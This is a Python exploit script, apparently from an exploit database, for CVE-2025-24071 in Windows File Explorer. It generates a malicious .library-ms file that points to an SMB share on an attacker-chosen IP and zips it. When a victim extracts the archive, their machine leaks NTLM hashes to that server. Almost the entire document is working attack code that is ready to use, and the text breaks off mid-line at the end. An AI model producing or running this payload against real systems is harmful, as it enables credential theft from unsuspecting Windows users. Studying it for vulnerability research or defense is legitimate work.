#!/usr/bin/env python3 # Exploit Title: Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure # Exploit Author: Mohammed Idrees Banyamer # Twitter/GitHub:https://github.com/mbanyamer # Date: 2025-05-27 # CVE: CVE-2025-24071 # Vendor: Microsoft # Affected Versions: Windows 10/11 (All supporting .library-ms and SMB) # Tested on: Windows 11 (23H2) # Type: Local / Remote (NTLM Leak) # Platform: Windows # Vulnerability Type: Information Disclosure # Description: # Windows Explorer automatically initiates an SMB authentication request when a # .library-ms file is extracted from a ZIP archive. This causes NTLM credentials # (in hashed format) to be leaked to a remote SMB server controlled by the attacker. # No user interaction is required beyond extraction. import zipfile from pathlib import Path import argparse import re import sys from colorama import Fore, Style def create_library_ms(ip: str, filename: str, output_dir: Path) -> Path: """Creates a malicious .library-ms file pointing to an attacker's SMB server.""" payload = f'''<?xml version="1.0" encoding="UTF-8"?> <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> <searchConnectorDescriptionList> <searchConnectorDescription> <simpleLocation> <url>\\\\{ip}\\shared</url> </simpleLocation> </searchConnectorDescription> </searchConnectorDescriptionList> </libraryDescription>''' output_file = output_dir / f"{filename}.library-ms" output_file.write_text(payload, encoding="utf-8") return output_file def build_zip(library_file: Path, output_zip: Path): """Packages the .library-ms file into a ZIP archive.""" with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as archive: archive.write(library_file, arcname=library_file.name) print(f"{Fore.GREEN}[+] Created ZIP: {output_zip}{Style.RESET_ALL}") def is_valid_ip(ip: str) -> bool: return re.match(r"^\d{1,3}(\.\d{1,3}){3}$", ip) is not None def main(): parser = argparse.ArgumentParser( description="CVE-2025-24071 - NTLM Hash Disclosure via .library-ms ZIP Archive", epilog="example:\n python3 CVE-2025-24071_tool.py -i 192.168.1.100 -n payload1 -o ./output_folder --keep", formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument("-i", "--ip", required=True, help="Attacker SMB IP address (e.g., 192.168.1.100)") parser.add_argument("-n", "--name", default="malicious", help="Base filename (default: malicious)") parser.add_argument("-o", "--output", default="output", help="Output directory (default: ./output)") parser.add_argument("--keep", action="store_true", help="Keep .library-ms file after ZIP creation") args = parser.parse_args() if not is_valid_ip(args.ip): print(f"{Fore.RED}[!] Invalid IP address: {args.ip}{Style.RESET_ALL}") sys.exit(1) output_dir = Path(args.output) output_dir.mkdir(parents=True, exist_ok=True) print(f"{Fore.CYAN}[*] Generating malicious .library-ms file...{Style.RESET_ALL}") library_file = create_library_ms(args.ip, args.name, output_dir) zip_file = output_dir / f"{args.name}.zip" build_zip(library_file, zip_file) if not args.keep: library_file.unlink() print(f"{Fore.YELLOW}[-] Removed intermediate .library-ms file{Style.RESET_ALL}") print(f"{Fore.MAGENTA}[!] Done.
